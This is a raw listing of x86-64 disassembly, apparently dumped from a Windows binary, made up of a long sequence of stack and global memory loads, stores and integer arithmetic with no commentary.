lea rax, [rsp + 0x56f0]
mov qword [rsp + 0x5ee8], rax
mov rax, qword [rsp + 0x5d50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e18]
mov word [rcx], ax
movzx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a150]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e38]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e5c]
sub eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x53d8]
movzx eax, word [rax]
mov word [rsp + 0xa98], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
add eax, ecx
mov rcx, qword [rsp + 0x5698]
mov byte [rcx], al
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x5ef0], rax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x5aa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5a28], rax
mov eax, dword [rsp + 0x2bb4]
mov ecx, dword [rsp + 0x2abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a50], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x5ef8], rax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x890]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
lea rax, [rsp + 0x8f]
mov qword [0x14017a2e8], rax
lea rax, [rsp + 0x9f4]
mov qword [rsp + 0x5f00], rax
mov rax, qword [rsp + 0x5c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x5d50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
sar eax, cl
mov word [rsp + 0xa88], ax
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0xdd], al
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2a3c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x59f8]
mov dword [rcx], eax
lea rax, [rsp + 0x5e08]
mov qword [rsp + 0x5f08], rax
mov rax, qword [rsp + 0x5aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5320]
mov qword [rsp + 0x5f10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5f10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x50f0], rax
lea rax, [0x140178e8c]
mov qword [rsp + 0x5f18], rax
movsx eax, word [rsp + 0xa48]
mov rcx, qword [rsp + 0x5e80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a1d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x9f4]
mov rcx, qword [0x14017a2a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa44], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xa1]
sub eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov byte [rsp + 0xde], al
movsx eax, byte [rsp + 0x85]
movsx ecx, byte [0x140178e97]
and eax, ecx
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x4fa0]
mov qword [rsp + 0x5f20], rax
mov rax, qword [rsp + 0x57f0]
mov rcx, qword [rsp + 0x51b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5ce8], rax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x5938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov dword [rsp + 0x2c20], eax
movsx eax, word [rsp + 0x9dc]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa90], ax
mov rax, qword [rsp + 0x4f68]
movzx eax, byte [rax]
mov byte [rsp + 0xdf], al
movsx eax, word [rsp + 0x9f8]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x920], ax
mov rax, qword [0x14017a1e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x950]
or eax, ecx
mov word [rsp + 0x9a4], ax
mov eax, dword [rsp + 0x2c1c]
mov dword [rsp + 0x2c24], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5278]
shl rax, cl
mov qword [rsp + 0x5840], rax
lea rax, str.kD3
mov qword [rsp + 0x5f28], rax
mov eax, dword [rsp + 0x2b1c]
mov ecx, dword [rsp + 0x2bdc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa3]
sar eax, cl
mov byte [0x140178eaa], al
lea rax, [0x140178ed8]
mov qword [rsp + 0x5f30], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
and eax, ecx
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9fc]
add eax, ecx
mov rcx, qword [rsp + 0x5400]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x5ee0]
mov rcx, qword [rsp + 0x5e30]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x52a8]
mov qword [rcx], rax
lea rax, [rsp + 0x5570]
mov qword [rsp + 0x5f38], rax
mov rax, qword [rsp + 0x5938]
mov rcx, qword [rsp + 0x5a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ab8], eax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b58], eax
mov rax, qword [rsp + 0x5cc8]
movsx eax, byte [rax]
movsx ecx, byte [0x140178ea7]
and eax, ecx
mov rcx, qword [0x14017a128]
mov byte [rcx], al
mov rax, qword [rsp + 0x5090]
movzx eax, word [rax]
mov word [rsp + 0xa9c], ax
movzx eax, byte [rsp + 0x96]
movzx ecx, byte [rsp + 0xbc]
sub eax, ecx
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0xa0c]
mov word [rsp + 0xaa0], ax
movzx eax, byte [0x140178e93]
movzx ecx, byte [rsp + 0x67]
sub eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x5ce8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x2c28], eax
mov rax, qword [rsp + 0x5f18]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ba0], eax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov qword [rsp + 0x5f40], rax
lea rax, [rsp + 0xa70]
mov qword [0x14017a2f0], rax
movsx eax, word [rsp + 0xa8c]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9b0], ax
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
sar eax, cl
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c58]
movzx eax, byte [rax]
mov byte [rsp + 0xe1], al
mov rax, qword [0x14017a088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b18]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x5f48], rax
mov rax, qword [rsp + 0x5f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5288]
mov rax, qword [rax]
mov qword [rsp + 0x5f50], rax
mov rax, qword [rsp + 0x57a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c10]
mov dword [rcx], eax
movsx eax, word [rsp + 0x948]
movsx ecx, word [rsp + 0x868]
add eax, ecx
mov rcx, qword [0x14017a078]
mov word [rcx], ax
movsx eax, word [rsp + 0x870]
movsx ecx, word [rsp + 0x98c]
add eax, ecx
mov word [rsp + 0x8b0], ax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x5d78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x984], ax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x5f58], rax
mov rax, qword [rsp + 0x5cc0]
mov rcx, qword [rsp + 0x5b08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e88], rax
mov rax, qword [rsp + 0x5b98]
mov ecx, dword [0x14017a064]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x52e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
mov dword [rsp + 0x2c2c], eax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5878], rax
mov rax, qword [rsp + 0x5760]
movsx eax, word [rax]
mov rcx, qword [0x14017a2b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178ef4], ax
mov rax, qword [rsp + 0x5d10]
movzx eax, word [rax]
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x858], ax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5568]
mov byte [rcx], al
mov rax, qword [rsp + 0x5428]
movzx eax, byte [rax]
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x5eb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5150]
mov qword [rsp + 0x5f60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5f60]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5b58]
mov dword [rcx], eax
lea rax, [rsp + 0x5ce8]
mov qword [rsp + 0x5f68], rax
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54c0]
mov qword [rsp + 0x5f70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5f70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4f78], rax
lea rax, [rsp + 0x2bc0]
mov qword [rsp + 0x5f78], rax
mov rax, qword [rsp + 0x5d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
or eax, ecx
mov word [rsp + 0x880], ax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0xab]
xor eax, ecx
mov byte [0x14017a053], al
movsx eax, byte [rsp + 0xa5]
movsx ecx, byte [rsp + 0xd0]
and eax, ecx
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
lea rax, [0x140178ee4]
mov qword [rsp + 0x5f80], rax
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8ac], ax
mov eax, dword [rsp + 0x2b20]
mov dword [rsp + 0x2c30], eax
mov rax, qword [rsp + 0x5438]
mov rcx, qword [rsp + 0x5a50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5498]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b58]
mov ecx, dword [rsp + 0x2bcc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
lea rax, [rsp + 0x5bf8]
mov qword [rsp + 0x5f88], rax
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
movzx ecx, word [0x140178e88]
add eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
lea rax, [rsp + 0xbd]
mov qword [0x14017a2f8], rax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x5f90], rax
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [0x14017a2b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x970], ax
mov rax, qword [rsp + 0x5f00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x95c]
sub eax, ecx
mov word [rsp + 0x8cc], ax
mov eax, dword [rsp + 0x2bfc]
mov dword [rsp + 0x2c34], eax
mov rax, qword [rsp + 0x54a0]
mov rcx, qword [rsp + 0x5ec8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov qword [rsp + 0x5f98], rax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x5eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa78], ax
lea rax, [rsp + 0xb1]
mov qword [0x14017a300], rax
mov rax, qword [rsp + 0x5d50]
movzx eax, word [rax]
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x5a00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xab], al
lea rax, [0x140178ea6]
mov qword [rsp + 0x5fa0], rax
mov rax, qword [rsp + 0x5038]
mov ecx, dword [rsp + 0x2b0c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2b94], eax
mov rax, qword [rsp + 0x5cd0]
mov eax, dword [rax]
mov dword [rsp + 0x2c38], eax
mov rax, qword [rsp + 0x5560]
movzx ecx, al
mov rax, qword [rsp + 0x4e40]
shr rax, cl
mov qword [rsp + 0x4ea8], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5b88], rax
lea rax, [rsp + 0xaf]
mov qword [rsp + 0x5fa8], rax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
and eax, ecx
mov word [0x140178eb0], ax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbf], al
movzx eax, word [rsp + 0x928]
mov word [rsp + 0xaac], ax
movzx eax, byte [0x140178e5f]
mov rcx, qword [rsp + 0x5ea0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0x5d08]
mov qword [rsp + 0x5fb0], rax
mov eax, dword [rsp + 0x2af8]
mov ecx, dword [rsp + 0x2b90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a88]
mov dword [rsp + 0x2c3c], eax
mov rax, qword [rsp + 0x5288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5230]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f80], rax
movzx eax, byte [0x14017a054]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [0x140178e77], al
movsx eax, word [rsp + 0x974]
movsx ecx, word [rsp + 0x90c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e10]
movzx eax, word [rax]
mov word [rsp + 0xab0], ax
movsx eax, word [rsp + 0xa58]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5940]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d88], rax
mov eax, dword [rsp + 0x2b0c]
mov rcx, qword [rsp + 0x5eb0]
mov qword [rsp + 0x5fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5fb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x56e8]
mov qword [rsp + 0x5fc0], rax
mov rax, qword [rsp + 0x4f50]
mov ecx, dword [rsp + 0x2b10]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2be4], eax
lea rax, [rsp + 0x8a8]
mov qword [0x14017a308], rax
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x5fc8], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5598]
mov byte [rcx], al
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
mov word [rsp + 0xab4], ax
movsx eax, byte [rsp + 0x85]
movsx ecx, byte [rsp + 0xa1]
sub eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x5438]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5db0]
mov eax, dword [rax]
mov dword [rsp + 0x2c40], eax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x5838]
mov rax, qword [rax]
mov qword [rsp + 0x5fd0], rax
mov rax, qword [rsp + 0x5c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5440]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e6a], al
movzx eax, word [rsp + 0x8d8]
movzx ecx, word [rsp + 0x92c]
sub eax, ecx
mov word [rsp + 0x8a8], ax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0xd6]
sub eax, ecx
mov rcx, qword [rsp + 0x5820]
mov byte [rcx], al
lea rax, [rsp + 0x934]
mov qword [rsp + 0x5fd8], rax
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb0], al
lea rax, [rsp + 0x2c28]
mov qword [rsp + 0x5fe0], rax
mov rax, qword [rsp + 0x5ad0]
mov rcx, qword [rsp + 0x5388]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x56e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ed8], rax
mov rax, qword [str.kD3]
mov qword [rsp + 0x5fe8], rax
lea rax, [rsp + 0x7b]
mov qword [0x14017a310], rax
mov rax, qword [rsp + 0x5090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b0], ax
lea rax, [rsp + 0xa2]
mov qword [rsp + 0x5ff0], rax
movzx eax, word [0x140178e98]
movzx ecx, word [rsp + 0x9b4]
sub eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, word [rsp + 0x940]
mov word [rsp + 0xab8], ax
mov eax, dword [rsp + 0x2bc0]
mov ecx, dword [rsp + 0x2a44]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ef0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b98]
mov qword [rsp + 0x5ff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ff8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2ab0], eax
lea rax, [rsp + 0x5110]
mov qword [rsp + 0x6000], rax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x58a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5e30], rax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x4f38]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a1b0]
mov byte [rcx], al
lea rax, [rsp + 0x928]
mov qword [rsp + 0x6008], rax
movzx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0x5b40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x82], al
movzx eax, word [rsp + 0x9ec]
mov rcx, qword [rsp + 0x5d78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9a4], ax
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x5828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e58]
mov qword [rsp + 0x6010], rax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x58a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x5b58]
mov ecx, dword [0x14017a064]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x5c08]
movzx eax, byte [rax]
mov byte [0x14017a0ce], al
mov rax, qword [rsp + 0x5820]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f0]
add eax, ecx
mov word [rsp + 0x8e8], ax
mov rax, qword [0x14017a1d8]
movzx eax, word [rax]
mov word [rsp + 0xabc], ax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
sub eax, ecx
mov rcx, qword [rsp + 0x5168]
mov word [rcx], ax
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ec8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5708]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5368]
mov eax, dword [rax]
mov dword [rsp + 0x2c44], eax
mov rax, qword [rsp + 0x5960]
mov rcx, qword [rsp + 0x5f98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5268], rax
mov eax, dword [rsp + 0x2c04]
mov dword [rsp + 0x2c48], eax
mov rax, qword [0x14017a1d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa24]
or eax, ecx
mov rcx, qword [0x14017a078]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0x5dc0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xe7], al
mov rax, qword [0x14017a160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x96]
movzx ecx, byte [rsp + 0xa7]
shl eax, cl
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
lea rax, [rsp + 0x55b0]
mov qword [rsp + 0x6018], rax
mov rax, qword [rsp + 0x58c0]
mov ecx, dword [rsp + 0x2b68]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov qword [rsp + 0x6020], rax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b64], eax
mov rax, qword [rsp + 0x52d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7e], al
movzx eax, word [rsp + 0xa70]
movzx ecx, word [rsp + 0x92c]
sub eax, ecx
mov word [reloc.SHELL32.dll_SHGetImageList], ax
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x6028], rax
movzx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x5c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5688]
mov byte [rcx], al
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x5530]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5018]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b34]
mov ecx, dword [rsp + 0x2b60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b7c], eax
lea rax, [rsp + 0x5a40]
mov qword [rsp + 0x6030], rax
mov rax, qword [rsp + 0x5a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5970], rax
movzx eax, word [rsp + 0x8ec]
mov word [rsp + 0xac0], ax
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0xaf]
add eax, ecx
mov byte [0x140178eab], al
mov rax, qword [rsp + 0x6028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x55e8]
mov word [rcx], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0x6038], rax
movsx eax, word [rsp + 0x9e8]
movsx ecx, word [rsp + 0x9bc]
or eax, ecx
mov word [rsp + 0x9b8], ax
mov rax, qword [rsp + 0x5740]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [str.kD3]
shl rax, cl
mov qword [rsp + 0x5138], rax
lea rax, [rsp + 0x2a94]
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x56f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5710]
mov qword [rsp + 0x6048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6048]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x59a8]
mov rax, qword [rax]
mov qword [rsp + 0x6050], rax
movzx eax, word [rsp + 0xa3c]
movzx ecx, word [rsp + 0x9c0]
xor eax, ecx
mov word [rsp + 0xa5c], ax
mov rax, qword [rsp + 0x55a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov byte [0x140178ea6], al
mov rax, qword [rsp + 0x5e50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov byte [rcx], al
mov rax, qword [rsp + 0x5f58]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov word [rcx], ax
lea rax, [rsp + 0x56b0]
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x5948]
mov rcx, qword [rsp + 0x59a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5050]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b58]
mov rcx, qword [rsp + 0x5a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b70], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x6060], rax
mov rax, qword [rsp + 0x58d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa3c]
add eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
lea rax, [rsp + 0xa58]
mov qword [0x14017a318], rax
movzx eax, word [rsp + 0x9a8]
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x53c8]
movsx eax, byte [rax]
